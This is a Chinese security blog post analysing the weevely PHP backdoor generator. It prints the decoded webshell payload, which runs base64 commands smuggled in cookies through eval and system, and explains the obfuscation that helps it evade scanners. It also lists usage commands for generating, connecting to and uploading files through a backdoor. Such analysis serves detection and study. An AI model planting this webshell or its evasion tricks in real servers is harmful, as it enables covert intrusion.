PHP后门生成工具weevely分析

唐门三少 发表于 2012-10-19 11:07

最近闲的蛋疼，玩了下weevely这个工具，感觉还是蛮强大的，防查杀，连接也是加密的。感兴趣的朋友看正文吧。

0x01 摘要

weevely是一款针对PHP的webshell的自由软件，可用于模拟一个类似于telnet的连接shell，weevely通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理，weevely生成的服务器端php代码是经过了base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，被作为检查规则的eval，system等函数都不会直接出现在代码中，从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描，结果显示该文件无任何威胁，如下图。

在本篇文章中，将针对其所生成的PHP后门进行分析，浅析其绕过后门查杀工具的原理，以及其运行与客户端交互的执行过程。

0x02 后门代码分析

先看下这个工具在相同条件下生成的两个后门的代码，

backdoor1.php

backdoor2.php

对比两篇代码，首先发现变量名不同，说明变量名是随机生成的，通过多次的生成查看，能够确定变量名是有两到三个随机字符组成的（不包含下划线）。

下面我们通过backdoor1.php代码来看下，后门程序执行的过程。

首先定义$jr和$pxn的字符串变量，然后通过str_replace函数去除“bsbtbrb_rebplbabcbe”字符串中的b，赋给$gip，即$gip=str_replace。在此之后，调用str_replace函数时，均用$gip来代替，这样做的目的应该是避免多次出现str_replace，从而导致查杀程序关注。在对比一下backdoor2.php，发现在backdoor.php中这条语句，用“j”代替了“b”，说明这个间隔字符也是随机生成的。

再向下面看，定义$pjp和$esx字符串变量后，通过前面说的$gip变量执行str_replace函数功能，赋$Id值为base64_decode，赋$zjr值为create_function。和之前的$gip变量一样，间隔字符也是随机生成的。

最重要的就是最后的这一行代码了，之前的内容都是来为这行的执行进行准备的。我们来分析下它的内容

$oj = $zjr('', $ld($gip("ay", "", $esx.$jr.$pxn.$pjp)));

先将前面我们分析过的变量对照这句中进行下转换

$oj = create_function('', base64_decode(str_replace("ay", "", $esx.$jr.$pxn.$pjp)));

四个字符串变量的内容太长了，自己一个个去找太麻烦了，我修改了下代码，添加这样一条语句

print base64_decode(str_replace("ay", "", $esx.$jr.$pxn.$pjp);

来查看str_replace执行后的样子，结果如下图

代码内容如下

$c='count';$a=$_COOKIE;if(reset($a)=='te' && $c($a)>3){ini_set('error_log', '/dev/null');$k='st';echo'';eval(base64_decode(preg_replace(array('/[^w=s]/','/s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo ''.$k.'>';}

执行过程为，通过赋予$c值为count，为后面执行count函数做准备，然后提取客户端提交的cookie内容赋给$a。通过判断cookie中第一个内容值是否为te，且cookie内容是否大于3。符合条件则，设置错误日志不保存，定义$k值为st，作为返回数据的开始和结束标识。然后对cookie的倒数第3条内容进行组合和正则替换，下面通过从Wireshark抓取的一条交互数据来说明执行过程。

抓取的cookie数据内容为

PREF=te; USR=mCvD4rtLQ7ngeBvD; SID=c3lzd&GV; SESSID=?t@K-Cdp; USRID=ZCAyP-i/Yx#J-y?k7

执行过程中将SID，SESSID，USRID的值合并为

c3lzd&GV?t@K-CdpZCAyP-i/Yx#J-y?k7

通过正则替换将非字母数据剔除，空白符数据用“+”替代得到内容：

c3lzdGVtKCdpZCAyPiYxJyk7

base64解密后内容为“system('id 2>&1');”，之后eval执行这条语句，也不用再说什么了。

代码分析到这里也就差不多了，稍微要提一下的是，我在生成这个PHP后门时，密码设置的是test，所以他在代码中它会校验cookie第一个内容的值是否为te。但是，如果输入tes这样的内容当做密码来连接后门时，会出现错误。抓包分析了下，应该是客户在连接的过程中会有一个加密校验的过程，这个过程是怎么进行的，能力有限，分析不出来。不过可以肯定的是，这个程序生成的后门即使有人得到了我们的PHP后门代码，他们也不能使用。

0x03 Weevely使用方法简介

1.生成PHP后门

./weevely.py generate test ~/backdoor.php  
/*
这句话的意思是生成一个密码为test的后门文件并保存为用户目录中的
backdoor.php。路径信息也可以省略，如果省略生成文件则放在当前所
在目录下
*/

2.连接后门

./weevely.py http://127.0.0.1/backdoor.php test

3.应用内置模块

这里以上传文件为示例，在连接成功后的shell中输入

:file.uplaod /root/exploit.c exploit.c

/*其中第一个参数为本地文件路径（要用绝对路径），第二个参数为远程路径*/

0x04 总结

1.Weevely比较明显的局限性在于，他只能生成PHP的后门文件

2.加密连接过程要依赖于客户端。如果在未知密码的情况下，获得后门文件，可以针对这个后门文件自己编写一个简单的客户端，无需密码，也可连接这个后门

3.检查这种类型的后门难度很大，全篇代码中只出现过一个str_replace函数的使用，其他的函数都是通过变量整合的方法来调用。而且敏感的字符串都会通过随机字符串进行间隔，很难找到其特征，唯一的方法就是从行为上分析，文件是否有害。

转自：https://www.t00ls.net/viewthread.php?tid=20942

文章来源于lcx.cc:PHP后门生成工具weevely分析

相关推荐: 塞尔克的“生存报告”：没有胜利者，我们只是活下来了，伴随着许多噩梦

身为生存狂怎能错过这篇文章，强烈推荐： 没有胜利者，我们只是活下来了，伴随着许多噩梦——塞尔克 http://SHTFPlan.com的Mac Slavo最近在论坛里编辑贴出了Chris Kitze发布在Before Its News的帖子。原帖在生存者论坛里…